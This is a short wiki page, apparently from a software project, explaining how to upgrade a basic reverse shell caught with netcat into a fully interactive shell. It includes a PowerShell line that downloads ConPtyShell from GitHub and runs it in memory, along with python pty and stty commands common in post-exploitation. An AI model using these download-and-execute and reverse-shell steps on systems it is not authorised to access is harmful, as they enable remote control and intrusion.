-
Notifications
You must be signed in to change notification settings - Fork 3
upgrade_shell
This article describes how to upgrade a dumb (reverse) shell into a fully functional interactive shell.
Here a dumb shell means a shell which allows you to run command, but many functions are missing. e.g "Ctrl-C" kill, TAB completiion, ls color print.
Here upgrade means make those missing features working. You can think the upgrade as "bootstrap", i.e. you get a dumb shell first, then you bootstap into a more powerful shell.
This article assume you are using the reverse shell in PR https://github.com/whisthq/whist/pull/7474. (But the technique mentioned in this PR is acutually gernerally applicable. You can use it in other places as well.)
Assume you have already get a dumb shell by using nc -l 5003
, and the nc -l 5003
is running on a Linux or MacOS machine.
"upgrade your shell" consist of 3 steps:
- find out some numbers
- run commands inside the shell
- run commands locally to fix your tty
this step you only need to run:
stty size
and remember the two numbers.
example:
run:
powershell
IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell -Upgrade -Rows 49 -Cols 160; Invoke-ConPtyShell -Upgrade -Rows 49 -Cols 160;
(you need to use the two numbers)
run:
export TERM=xterm
python -c 'import pty;pty.spawn("/bin/bash")'
stty rows 49 cols 160 #here you need the two numbers before
first, press Press Ctrl-Z
to suspend the running nc
.
then run
stty raw -echo; fg
to change the tty settings and put nc
back to foreground.
On windows you should have got a fully functional powershell
. On linux/macos you should have got a fully funcional bash
. With everything works.
if you do something wrong with stty
you terminal's output will be messed up, you might need run reset
to recover.